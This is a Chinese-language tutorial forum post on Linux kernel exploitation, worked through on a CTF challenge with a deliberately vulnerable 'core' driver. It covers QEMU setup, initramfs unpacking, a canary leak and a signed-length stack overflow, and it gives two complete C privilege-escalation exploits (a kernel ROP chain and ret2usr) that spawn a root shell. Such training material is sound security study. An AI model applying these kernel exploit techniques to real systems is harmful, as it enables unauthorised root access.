开始了心心念念的kernel pwn 学习,分享所学,希望和大佬们一起进步,同时可能里面的知识有些来源网络,我找不到出处了,所以没加链接,万分抱歉,如果侵权,可以联系作者,同时欢迎各路大佬找我交流。
参考: https://mp.weixin.qq.com/s/LQTKJrcTyX-KBddzeAK38w
题目: https://pan.baidu.com/s/1vkdsYCq3tvASYtuQeA_zRA 提取码:6l2l
其包含多种运行模式,最常用的就是User-mode emulation 和 System emulation两种。
User-mode emulation
用户模式,在这个模式下,qemu 可以运行单个其他指令集的 linux 或者 macOS/darwin 程序,允许了为一种架构编译的程序在另外一种架构上面运行。
Sytem emulation
系统模式,在这个模式下,qemu 将模拟一个完整的计算机系统,包括外围设备。
bash启动脚本:
#!/bin/sh qemu-system-x86_64 \ -m 64M \ -kernel ./bzImage \ -initrd ./rootfs.img \ -append "root=/dev/ram rw oops=panic panic=1 kalsr" \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -monitor /dev/null \ -smp cores=2,threads=1 \ -cpu kvm64,+smep \ #-S 启动gdb调试 #-gdb tcp:1234 等待gdb调试
命令参数意义
-m是指定RAM大小(默认384) -kernel 是指定的内核镜像,这里是我们编译的镜像路径,也可以是下载好的镜像,如./vmlinuz-4.15.0-22-generic -initrd 设置刚刚利用 busybox 创建的 rootfs.img ,作为内核启动的文件系统 -append 附加选项,指定no kaslr可以关闭随机偏移 --nographic和console=ttyS0一起使用,启动的界面就变成当前终端 -s 相当于-gdb tcp::1234的简写,可以直接通过主机的gdb远程连接 -monitor配置用户模式的网络#将监视器重定向到主机设备/dev/null -smp 用于声明所有可能用到的cpus, i.e. sockets cores threads = maxcpus. -cpu 设置CPU的安全选项 S -s 開機的時候就停下來,並開啟port 1234讓gdb從遠端連入除錯 -nographic 懶得跳一個視窗,直接terminal當console使用
常见保护:Kaslr 地址随机化 , Smep 内核态不可执行用户态代码,Smap内核态不可访问用户态内存。
想深入了解的化可以,去网上查找其实保护机制还有很多,关于这三种的叙述也不是很详细,为了不给小白加压力,其实初期记住这些就好了。
#文件系统解包 $ mkdir core $ mv core.cpio ./core/core.cpio.gz $ cd core $ gunzip core.cpio.gz # 这一步不是每个题都有的 $ cpio -idmv < core.cpio #解包关键命令 $ rm -rf core.cpio $ nano init #修改初始文件 #打包 $ find . | cpio -o --format=newc > ../rootfs.img
对于提权我们需要进行的此时有两步:
基本步骤如下:
start.sh
qemu-system-x86_64 \ -m 128M \ #原题这里是64,太小了,改成128 -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -s \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \
解包后里面有init文件,这个是内核启动的初始化文件
#init文件分析: #!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms #把 kallsyms 的内容保存到了 /tmp/kallsyms 中,那么我们就能从 /tmp/kallsyms 中读取 commit_creds,prepare_kernel_cred 的函数的地址了。 echo 1 > /proc/sys/kernel/kptr_restrict #把 kptr_restrict 设为 1,这样就不能通过 /proc/kallsyms 查看函数地址了,但第 9 行已经把其中的信息保存到了一个可读的文件中,这句就无关紧要了 echo 1 > /proc/sys/kernel/dmesg_restrict #把 dmesg_restrict 设为 1,这样就不能通过 dmesg 查看 kernel 的信息了(fprint) ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko poweroff -d 120 -f & #设置了定时关机,为了避免做题时产生干扰,直接把这句删掉然后重新打包 setsid /bin/cttyhack setuidgid 1000 /bin/sh echo 'sh end!\n' umount /proc umount /sys poweroff -d 0 -f
保护检查:
checksec .io : 这个是用来检查驱动文件的保护,*该题目开启了canary保护。
同时我们修改文件系统的uidgid部分使得我们可以进入root权限,通过 cat /proc/cpuinfo 显示的flags标志位可以看出内核开启了什么样的保护。
该题开启了kalsr,但是smep这些没开
IDA查看驱动文件。
创建文件系统节点core,注册了 /proc/core
core_ioctl:
这个是ioctl函数驱动时进入的函数,可以类比一些mian函数
core_read:
从 v6[off] 拷贝 64 个字节到用户空间,但要注意的是全局变量 off 使我们能够控制的,因此可以合理的控制 off 来 leak canary 和一些地址.
core_write:
这个就是向全局变量name里面写数据。
core_copy_func:
if对a1进行判断的时候用的64位方式,但是qmemcpy往内核栈里面复制数据的时候用的是a1的低16位,那么我们可以构造一个负数进行绕过,同时使得qmemcpy出现栈溢出。
EXP编写思路:
执行commit_creds(prepare_kernel_cred(0)); 创建新的凭证结构体使得uid/gid为0, 然后执行"/bin/sh"就可以拿到root权限的shell.
1.首先我们要通过偏移泄露出基地址(绕过kaslr)
分析init文件,发现本题已经把所需要的数据存放再/tmp/kallsyms了,读取文件,加减偏移即可,我们就获得了prepare_kernel_cred,commit_creds两个关键函数的实际地址。
bool get_kernel_base() { FILE *fp; uint64_t kernel_base1 = 0,kernel_base2 = 0; char line[0x30]; fp = fopen("/tmp/kallsyms","rb"); if(fp<0) { die("open kallsyms fialed"); } while(fgets(line,0x30,fp)) { if(kernel_base != 0) { return true; } if(strstr(line,"commit_creds")&&!commit_creds) { getchar(); sscanf(line,"%llx",&commit_creds); printf("commit creds add: %p\n",commit_creds); kernel_base1 = commit_creds - commit_creds_offset; } if(strstr(line, "prepare_kernel_cred") && !prepare_kernel_cred) { sscanf(line, "%llx", &prepare_kernel_cred); printf("prepare kernel cred addr: %p\n", prepare_kernel_cred); kernel_base2 = prepare_kernel_cred - prepare_kernel_cred_offset; } if (kernel_base1 !=0 && kernel_base1 == kernel_base2){ kernel_base = kernel_base1; } } if(kernel_base==0) { return false; } }
2.然后我们可以设置偏移,从而通过core_read函数泄露出canary。
void leak(int fd) { ioctl(fd,core_set,0x40); uint8_t buffer[0x40]; ioctl(fd,core_read,buffer); canary = *(uint64_t *)buffer; rbp = *(uint64_t *)(buffer+8); }
这里有两种方法,一种是retuser,一种是kernel rop,技术。
先找出地址,泄露地址的时候我们已经得到了kernel_base,注意:它跟驱动文件的base不是一个东西:
void set_gadget_addr() { prdi_ret += kernel_base; prcx_ret += kernel_base; mov_rdi_rax_jmp_rcx += kernel_base; mov_rdi_rax_jmp_rdx += kernel_base; swapgs_p_ret += kernel_base; iretq_ret += kernel_base; return ; }
接下来由于后来的内核态和用户态的切换,所以我们要保存相关寄存器的值
void save_status(){ //这个就可以直接套用,一般除了32位,64位,别的没啥区别。 asm( " mov %%cs, %0\n" "mov %%ss,%1\n" "mov %%rsp,%3\n" "pushfq\n" "popq %2" :"=r"(tf.cs),"=r"(tf.ss),"=r"(tf.rflags),"=r"(tf.rsp) : :"memory" ); tf.rsp -= 4096; tf.rip = &launch_shell; } //调用 save_status(); uint64_t *ptr; ptr = (uint64_t *)(buffer+0x40); *(ptr + i++) = canary; *(ptr + i++) = rbp; *(ptr + i++) = prdi_ret; *(ptr + i++) = 0; *(ptr + i++) = prepare_kernel_cred; *(ptr + i++) = prcx_ret; *(ptr + i++) = commit_creds; *(ptr + i++) = mov_rdi_rax_jmp_rcx; *(ptr + i++) = swapgs_p_ret; *(ptr + i++) = 0; *(ptr + i++) = iretq_ret; *(ptr + i++) = (uint64_t) root_shell; *(ptr + i++) = tf.cs; *(ptr + i++) = tf.rflags; *(ptr + i++) = tf.rsp; *(ptr + i++) = tf.ss;
接下来就是溢出劫持了,跟平常的pwn区别不大:
write(fd,buffer,0x800); uint64_t nagtive_len = 0xffffffff00000000; uint32_t len = 0x100; nagtive_len |= len; ioctl(fd,core_func,nagtive_len);
完整EXP:
#include<stdio.h> #include<string.h> #include<inttypes.h> #include <fcntl.h> #include <stdlib.h> #include <stdbool.h> #include <sys/ioctl.h> #include <sys/types.h> #include <unistd.h> #include <sys/stat.h> struct trap_frame{ void *rip; uint64_t cs; uint64_t rflags; void * rsp; uint64_t ss; }__attribute__((packed)); struct trap_frame tf; #define core_read 0x6677889B #define core_set 0x6677889C #define core_func 0x6677889A uint64_t kernel_base = 0; uint64_t commit_creds = 0; uint64_t prepare_kernel_cred = 0; uint64_t commit_creds_offset = 0x9c8e0; uint64_t prepare_kernel_cred_offset = 0x9cce0; uint64_t prdi_ret = 0x0b2f; //: pop rdi; ret; uint64_t mov_rdi_rax_jmp_rcx = 0x1ae978; //: mov rdi, rax; jmp rcx; uint64_t mov_rdi_rax_jmp_rdx = 0x6a6d2; //: mov rdi, rax; jmp rdx; uint64_t prcx_ret = 0x21e53; //: pop rcx; ret; uint64_t swapgs_p_ret = 0xa012da; //: swapgs; popfq; ret; uint64_t iretq_ret = 0x50ac2; //: iretq; ret; uint64_t canary = 0; uint64_t rbp = 0; void launch_shell(); void save_status(){ asm( " mov %%cs, %0\n" "mov %%ss,%1\n" "mov %%rsp,%3\n" "pushfq\n" "popq %2" :"=r"(tf.cs),"=r"(tf.ss),"=r"(tf.rflags),"=r"(tf.rsp) : :"memory" ); tf.rsp -= 4096; tf.rip = &launch_shell; } void launch_shell(){ execl("/bin/sh","sh",NULL); } /* void payload(){ commit_creds(prepare_kernel_cred(0)); asm("movq $tf, %rsp\n" "swapgs\n" "iretq\n"); launch_shell(); }*/ bool get_kernel_base() { FILE *fp; uint64_t kernel_base1 = 0,kernel_base2 = 0; char line[0x30]; fp = fopen("/tmp/kallsyms","rb"); if(fp<0) { die("open kallsyms fialed"); } while(fgets(line,0x30,fp)) { if(kernel_base != 0) { return true; } if(strstr(line,"commit_creds")&&!commit_creds) { getchar(); sscanf(line,"%llx",&commit_creds); printf("commit creds add: %p\n",commit_creds); kernel_base1 = commit_creds - commit_creds_offset; } if(strstr(line, "prepare_kernel_cred") && !prepare_kernel_cred) { sscanf(line, "%llx", &prepare_kernel_cred); printf("prepare kernel cred addr: %p\n", prepare_kernel_cred); kernel_base2 = prepare_kernel_cred - prepare_kernel_cred_offset; } if (kernel_base1 !=0 && kernel_base1 == kernel_base2){ kernel_base = kernel_base1; } } if(kernel_base==0) { return false; } } void set_gadget_addr() { prdi_ret += kernel_base; prcx_ret += kernel_base; mov_rdi_rax_jmp_rcx += kernel_base; mov_rdi_rax_jmp_rdx += kernel_base; swapgs_p_ret += kernel_base; iretq_ret += kernel_base; return ; } void leak(int fd) { ioctl(fd,core_set,0x40); uint8_t buffer[0x40]; ioctl(fd,core_read,buffer); canary = *(uint64_t *)buffer; rbp = *(uint64_t *)(buffer+8); } int main(){ bool ret = get_kernel_base(); int i=0; uint8_t buffer[0x800] = {0}; set_gadget_addr(); int fd = open("/proc/core",O_RDWR); leak(fd); printf("leak canary: %p\n", canary); save_status(); uint64_t *ptr; ptr = (uint64_t *)(buffer+0x40); *(ptr + i++) = canary; *(ptr + i++) = rbp; *(ptr + i++) = prdi_ret; *(ptr + i++) = 0; *(ptr + i++) = prepare_kernel_cred; *(ptr + i++) = prcx_ret; *(ptr + i++) = commit_creds; *(ptr + i++) = mov_rdi_rax_jmp_rcx; *(ptr + i++) = swapgs_p_ret; *(ptr + i++) = 0; *(ptr + i++) = iretq_ret; *(ptr + i++) = (uint64_t) launch_shell; *(ptr + i++) = tf.cs; *(ptr + i++) = tf.rflags; *(ptr + i++) = tf.rsp; *(ptr + i++) = tf.ss; write(fd,buffer,0x800); uint64_t nagtive_len = 0xffffffff00000000; uint32_t len = 0x100; nagtive_len |= len; ioctl(fd,core_func,nagtive_len); }
这个跟rop几乎是一样的,唯一的区别在于不是通过系统调用的方式,而是通过直接函数执行的方式来获得权限,贴个Exp(大差别有注释):
#include<stdio.h> #include<string.h> #include<inttypes.h> #include <fcntl.h> #include <stdlib.h> #include <stdbool.h> #include <sys/ioctl.h> #include <sys/types.h> #include <unistd.h> #include <sys/stat.h> struct trap_frame{ void *rip; uint64_t cs; uint64_t rflags; void * rsp; uint64_t ss; }__attribute__((packed)); struct trap_frame tf; #define core_read 0x6677889B #define core_set 0x6677889C #define core_func 0x6677889A uint64_t kernel_base = 0; uint64_t commit_creds = 0; uint64_t prepare_kernel_cred = 0; uint64_t commit_creds_offset = 0x9c8e0; uint64_t prepare_kernel_cred_offset = 0x9cce0; uint64_t prdi_ret = 0x0b2f; //: pop rdi; ret; uint64_t mov_rdi_rax_jmp_rcx = 0x1ae978; //: mov rdi, rax; jmp rcx; uint64_t mov_rdi_rax_jmp_rdx = 0x6a6d2; //: mov rdi, rax; jmp rdx; uint64_t prcx_ret = 0x21e53; //: pop rcx; ret; uint64_t swapgs_p_ret = 0xa012da; //: swapgs; popfq; ret; uint64_t iretq_ret = 0x50ac2; //: iretq; ret; uint64_t canary = 0; uint64_t rbp = 0; uint64_t (*commit_creds1)(uint64_t cred); //这两个是声明两个函数指针方便使用 uint64_t (*prepare_kernel_cred1)(uint64_t cred); void launch_shell(); void save_status(){ asm( " mov %%cs, %0\n" "mov %%ss,%1\n" "mov %%rsp,%3\n" "pushfq\n" "popq %2" :"=r"(tf.cs),"=r"(tf.ss),"=r"(tf.rflags),"=r"(tf.rsp) : :"memory" ); tf.rsp -= 4096; tf.rip = &launch_shell; } void launch_shell(){ execl("/bin/sh","sh",NULL); } void payload(){ //payload 直接函数执行而不是通过rop commit_creds1(prepare_kernel_cred1(0)); asm("movq $tf, %rsp\n" "swapgs\n" "iretq\n"); launch_shell(); } bool get_kernel_base() { FILE *fp; uint64_t kernel_base1 = 0,kernel_base2 = 0; char line[0x30]; fp = fopen("/tmp/kallsyms","rb"); if(fp<0) { die("open kallsyms fialed"); } while(fgets(line,0x30,fp)) { if(kernel_base != 0) { return true; } if(strstr(line,"commit_creds")&&!commit_creds) { sscanf(line,"%llx",&commit_creds); printf("commit creds add: %p\n",commit_creds); commit_creds1 = commit_creds; kernel_base1 = commit_creds - commit_creds_offset; } if(strstr(line, "prepare_kernel_cred") && !prepare_kernel_cred) { sscanf(line, "%llx", &prepare_kernel_cred); printf("prepare kernel cred addr: %p\n", prepare_kernel_cred); prepare_kernel_cred1 = prepare_kernel_cred; kernel_base2 = prepare_kernel_cred - prepare_kernel_cred_offset; } if (kernel_base1 !=0 && kernel_base1 == kernel_base2){ kernel_base = kernel_base1; } } if(kernel_base==0) { return false; } } void set_gadget_addr() { prdi_ret += kernel_base; prcx_ret += kernel_base; mov_rdi_rax_jmp_rcx += kernel_base; mov_rdi_rax_jmp_rdx += kernel_base; swapgs_p_ret += kernel_base; iretq_ret += kernel_base; return ; } void leak(int fd) { ioctl(fd,core_set,0x40); uint8_t buffer[0x40]; ioctl(fd,core_read,buffer); canary = *(uint64_t *)buffer; rbp = *(uint64_t *)(buffer+8); } int main(){ bool ret = get_kernel_base(); int i=0; uint8_t buffer[0x800] = {0}; set_gadget_addr(); int fd = open("/proc/core",O_RDWR); leak(fd); printf("leak canary: %p\n", canary); save_status(); uint64_t *ptr; ptr = (uint64_t *)(buffer+0x40); *(ptr + i++) = canary; *(ptr + i++) = rbp; *(ptr + i++) = (uint64_t) payload; write(fd,buffer,0x800); uint64_t nagtive_len = 0xffffffff00000000; uint32_t len = 0x100; nagtive_len |= len; ioctl(fd,core_func,nagtive_len); }
[培训]科锐逆向工程师培训班38期--远程教学预课班将于 2020年5月28日 正式开班!
最后于 1小时前 被时间的伤编辑 ,原因: